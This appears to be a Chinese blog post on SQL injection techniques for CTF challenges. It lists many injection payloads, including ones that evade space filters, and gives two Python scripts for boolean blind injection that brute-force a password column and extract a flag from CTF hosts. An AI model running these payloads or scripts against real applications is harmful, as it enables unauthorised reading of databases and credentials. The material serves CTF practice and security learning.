二、sql注入(CTF技巧)

一、技巧

解释:在一些题目里面常常充满了各种各样的过滤,我们需要结合实际情况去进行注入,下面提供一些Payload以及适用场景

' --+    //字符型测试(看回显内容是否正确进行初步判断)
' %23	 //字符型测试(看回显内容是否正确进行初步判断)
1' and 1=2 --+ //字符型测试(确保‘1’的位置能查到数据,然后故意让其查不到数据,再次分析返回结果)
1' and 1=2 %23 //字符型测试(确保‘1’的位置能查到数据,然后故意让其查不到数据,再次分析返回结果)
1' order by 1000 --+ //字符型测试(确保‘1’的位置能查到数据,然后order by必然会报错,再次通过页面结果进行分析)
1' order by 1000 %23 //字符型测试(确保‘1’的位置能查到数据,然后order by必然会报错,再次通过页面结果进行分析)
' union SELECT 1 --+ //字符型测试(确保’的位置查不到数据,然后SELECT 1可能会报错,也有可能直接返回1,再次通过页面结果进行分析)
' union SELECT 1 %23 //字符型测试(确保’的位置查不到数据,然后SELECT 1可能会报错,也有可能直接返回1,再次通过页面结果进行分析)
1'and(1=2)%23 //字符型测试(绕过空格过滤)
1'and%0a1=2%23 //字符型测试(绕过空格过滤)
1'and%091=2%23 //字符型测试(绕过空格过滤)
1'and(ASCII(SUBSTR(DATABASE(),1,1))<1)%23 //字符型测试(绕过空格过滤)
1'and(ASCII(SUBSTR((select(flag)from(flag)),1,1))>1)%23//字符型测试(绕过空格过滤确保flag表flag列一定要存在)
1'and(ASCII(SUBSTR((select(group_concat(flag))from(flag)),1,1))>1)%23 //字符型测试(绕过空格过滤,确保flag表flag列一定要存在)
1'and((flag)like'D%')%23 //字符型测试(绕过空格过滤,确保flag列一定要存在)

1 and 1=2 //数字型测试(确保1的位置能查到数据,然后故意让其查不到数据,再次分析返回结果)
1 order by 1000 //数字型测试(order by必然会报错,再次通过页面结果进行分析)
-1 UNION SELECT 1 //数字型测试(确保’的位置查不到数据,然后SELECT 1可能会报错,也有可能直接返回1,再次通过页面结果进行分析)
(1)and(1=2)//数字型测试(绕过空格过滤)
(ASCII(SUBSTR(DATABASE(),1,1))<1)//数字型测试(绕过空格过滤,确保结果一定不成立再查看结果)
(ASCII(SUBSTR(DATABASE(),1,1))>1)//数字型测试(绕过空格过滤,确保结果一定成立再查看结果)
(flag)like'X%' //数字型测试(绕过空格过滤,确保flag列一定要存在)
(ASCII(SUBSTR((select(flag)from(flag)),1,1))>1)//数字型测试(绕过空格过滤,确保flag表flag列一定要存在)
(ASCII(SUBSTR((select(group_concat(flag))from(flag)),1,1))>1)//数字型测试(绕过空格过滤,确保flag表flag列一定要存在)
' --+
' %23
1' and 1=2 --+
1' and 1=2 %23
1' order by 1000 --+
1' order by 1000 %23
' union SELECT 1 --+
' union SELECT 1 %23
1'and(1=2)%23
1'and%0a1=2%23
1'and%091=2%23
1'and(ASCII(SUBSTR(DATABASE(),1,1))<1)%23
1'and(ASCII(SUBSTR((select(flag)from(flag)),1,1))>1)%23
1'and(ASCII(SUBSTR((select(group_concat(flag))from(flag)),1,1))>1)%23
1'and((flag)like'D%')%23
1 and 1=2
1 order by 1000
-1 UNION SELECT 1
(1)and(1=2)
(ASCII(SUBSTR(DATABASE(),1,1))<1)
(ASCII(SUBSTR(DATABASE(),1,1))>1)
(flag)like'X%'
(ASCII(SUBSTR((select(flag)from(flag)),1,1))>1)
(ASCII(SUBSTR((select(group_concat(flag))from(flag)),1,1))>1)

二、常用函数

  • like:通过列名 like 'xxx%'来进行穷尽爆破
    • SELECT * from users where id='-1' or username like 'D%'; #'
    • SELECT * from users where id='-1' or username like 'Du%'; #'
    • SELECT * from users where id='-1' or username like 'Dum%'; #'
    • SELECT * from users where id='-1' or username like 'Dumb%'; #'
  • ascii(a):获取a对应的ascii数值(ascii范围0-127)
  • ():例如select * from users where id=(1>2); (里面包着的值通过一些列操作最终返回Boolean值)
  • substr(‘123’,1,1):第一个参数是字符串,第二个参数表示取第几位(跟C语言等编程不一样,并非从0开始),第三个参数是步长

三、布尔盲注

解释:CTF里面有不少题目是关于盲注的,下面提供一些我遇到的可能有技巧的地方,在CTF里面布尔盲注时,往往都会告诉你列名(没有告诉就猜一下),此时我们可以采取列名 like 'xxx%'来进行爆破,或者采取普通的ascii(substr(str,1,1))>100

1.无过滤时注入

# 此种情况需要自己猜测出来列名,往往CTF都有暗示
import requests


class BoolCrash:
    def __init__(self, url, subject):
        self.subject = subject
        self.url = url
        self.list = string.ascii_letters + string.digits + string.punctuation
        self.empty = ''

    def run(self):
        while True:
            for i in self.list:
                # 下面3行需要自行构造
                sql_payloads = f"1' OR p3ss_w0rd like '{self.empty + i}%' #"
                # select id FROM emails where email_id='' or ascii(SUBSTR(`email_id`,0,1))=1 #' (类似这种写法的也很多)
                params = {'username': sql_payloads, 'password': '1'}
                response = requests.post(url=self.url, data=params)
                response = response.text
                # 布尔注入判断的条件
                if self.subject in response:
                    self.empty = self.empty + i
                    break
            # 当下一个内容不再出现在列表里面时,代表下一个内容为其它内容或为空,循环结束
            else:
                print('当前碰撞结束,结果可能因为list内容的局限而失败')
                break
            print(self.empty)

BoolCrash('http://eci-2ze9oa2p12vc9plzmnyh.cloudeci1.ichunqiu.com/Challenges/login.php','密码错误').run()
# 自己运行时,要根据实际情况,多调试几次,下面用#--------------划分的都是需要自定义的,也就是要按照实际情况进行修改的
import requests

def binary_search(sql_payloads, url):
    n = 128
    low = 0
    high = n - 1

    tem = sql_payloads  # 记录该值
    while low <= high:
        sql_payloads = tem  # 让每次循环的sql_payloads都是最处的值
        mid = (low + high) // 2
        # -------------------------------------------------------------
        sql_payloads = sql_payloads + f"{mid}" + ')'
        params = {'id': sql_payloads}

        response = requests.get(url=url, params=params)
        response = response.text
        # -------------------------------------------------------------
        # 表示满足条件
        if 'YES' in response:
            low = mid + 1
        else:
            high = mid - 1
    return low
def run():
    # -------------------------------------------------------------
    url = 'http://eci-2ze60ej08gskxf7qzvga.cloudeci1.ichunqiu.com/'
    # -------------------------------------------------------------
    str = ''
    i = 1
    while True:
        # 需要自己手动暂停
        # -------------------------------------------------------------
        sql_payloads = f'(ASCII(SUBSTR((select(flag)from(flag)),{i},1))>'
        # -------------------------------------------------------------
        i = i + 1
        n = binary_search(sql_payloads, url)
        str += chr(n)
        print(str)
run()

2.有过滤时注入

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值